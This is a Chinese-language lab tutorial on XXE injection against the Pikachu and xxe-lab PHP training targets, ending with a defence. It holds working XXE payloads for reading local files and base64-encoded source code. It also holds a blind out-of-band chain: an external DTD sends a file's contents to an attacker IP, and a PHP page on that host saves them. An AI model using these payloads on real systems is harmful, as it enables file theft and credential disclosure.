XXE漏洞
一、XXE的概念与危害
XXE(XML External Entity Injection)漏洞为外部实体注入漏洞,该漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口、攻击内网网站等危害。
二、运行环境
1、目标机
| 名称 | 值 |
|---|---|
| 操作系统 | Windows 10 |
| 中间件 | phpStudy 2018 |
| PHP版本 | 5.4.45 |
| Apache | 2.4 |

2、攻击机
| 名称 | 值 |
|---|---|
| 操作系统 | Windows 10 |
| 中间件 | phpStudy 2018 |
| 运行基础 | Vmware Pro 15 |
三、XXE文件读取
说明: 重点针对目标机的操作。
(1)有回显
Step1:访问地址:
bash
http://127.0.0.1/pikachu/vul/xxe/xxe_1.php
Step2:准备xml脚本
模板格式:
bash
<?xml version = "1.0"?>
<!DOCTYPE any[
<!ENTITY <变量名> SYSTEM "file:///<文件的路径>">
]>
<自定义标签>&<变量名>;</自定义标签>
样例1:
bash
<?xml version = "1.0"?>
<!DOCTYPE any[
<!ENTITY xxe SYSTEM "file:///C:/Windows/System32/drivers/etc/hosts">
]>
<zoo>&xxe;</zoo>

说明:&xxe只是变量⽽已,可以随意修改。<zoo></zoo>也是自定义的标签,也可以随意改。
样例2:
bash
<?xml version = "1.0"?>
<!DOCTYPE any[
<!ENTITY abc "这是一个内容!">
]>
<result>&abc;</result>

(2)无回显
说明: 目标机与攻击机均需要协同。
Step1:修改 D:\phpStudy\PHPTutorial\WWW\pikachu\vul\xxe\xxe_1.php 文件。
bash
if(isset($_POST['submit']) and $_POST['xml'] != null){
$xml =$_POST['xml'];
$data = @simplexml_load_string($xml,'SimpleXMLElement',LIBXML_NOENT);
if($data){
# 注释此行,变成无回显状态
// $html.="<pre>{$data}</pre>";
}else{
# 注释此行,变成无回显状态
// $html.="<p>XML声明、DTD文档类型定义、文档元素这些都搞懂了吗?</p>";
}
}
注意:
注释这两行后无法看到回显信息,这是从蓝队的角度考虑如何防御。
Step2:准备一个flag.txt于D:\phpStudy\PHPTutorial\WWW中。
bash
# flag.txt的内容,该文件位于D:\phpStudy\PHPTutorial\WWW
flag:16yhg771819hfg
Step3:在攻击机中新建xxe.dtd⽂件。
bash
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=D:/phpStudy/PHPTutorial/WWW/flag.txt">
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://192.168.179.154/get.php?file=%file;'>">
%all;
%send;
注意:
①D:/phpStudy/PHPTutorial/WWW/flag.txt是指要读取的文件路径,此处也可以拿来设为其它文件。
②http://192.168.179.154是攻击机的IP,不能设为127.0.0.1;因为设为127.0.0.1的话,目标机中处理xml请求时会认为将文件传送在目标机本身,因此一定要设为攻击机的IP。
③在攻击机(192.168.179.154)中需要自定义get.php页面。
Step4:在攻击机中新建get.php页面。
bash
<?php
$data = $_GET['file'];
$myfile = fopen("file.txt","w+");
fwrite($myfile,$data);
fclose($myfile);
?>
Step5:在目标机的Pikachu的输⼊框输入如下xml。用来读取flag.txt。
bash
<?xml version = "1.0"?>
<!DOCTYPE ANY[
<!ENTITY % dtd SYSTEM "http://192.168.179.154/xxe.dtd">
%dtd;]>


由此,红队使用此方法可以得到flag.txt文件的内容。蓝队所设置的不回显方法在这里失效。
流程总结如下:

四、XXE-Lab靶场实践
说明: 破解⽤户名与密码,此处⽤xxe漏洞获取⽤户名与密码。
1、靶场环境配置
Step1:将压缩包中的xxe-lab-master.zip\xxe-lab-master\php_xxe;
Step2:并复制到D:\phpStudy\PHPTutorial\WWW;
Step3:将php_xxe更名为xxe_lab。
最终部署地址为:
bash
D:\phpStudy\PHPTutorial\WWW\xxe_lab
2、开始攻击
(1)登录,截取包
Step1:打开BurpSuite并在浏览器中设置好BurpSuite的代理,并开启Intercept on

Step2:开始登录系统
访问地址:
bash
http://127.0.0.1/xxe_lab/


说明: 在此处发现了xml解析;说明存在漏洞。
(2)尝试XXE漏洞
Step1:右击鼠标,选择"Send to Repeater"

Step2:复制如下脚本到图中 "2" 的位置
bash
<!DOCTYPE ANY [
<!ENTITY file SYSTEM "file:///D://phpStudy//PHPTutorial//WWW//flag.txt">
]>
<user>
<username>
&file;
</username>
<password>
12313
</password>
</user>

说明: 看到这样的结果,说明存在XXE漏洞。
(3)获取用户名密码
Step1:右击鼠标,选择"Send to Repeater"

Step2:复制如下脚本到图中 "1" 的位置
bash
<!DOCTYPE ANY [
<!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=doLogin.php">
]>
<user>
<username>
&file;
</username>
<password>
12313
</password>
</user>

Step3:解析Base64编码

Step4:输入正确的用户名和密码

五、如何防御?
1、修改配置
说明: 这是从蓝队的视角做防御。
找到XXE_lab下的doLogin.php文件。
位置如下:
bash
D:\phpStudy\PHPTutorial\WWW\xxe_lab\\doLogin.php
修改如下:
bash
// XXE漏洞防御
// 禁⽌外部实体
// libxml_disable_entity_loader 必须为真true
libxml_disable_entity_loader(true);
2、再次展开攻击
说明: 这是从红队的视角开始攻击。


注意: 一旦libxml_disable_entity_loader(true);的设置生效,那么,围护网站的负责人将无法更新xml配置,因此,这样做防御也是存在副作用。即对自己人和外人均全部被禁止xml配置更新。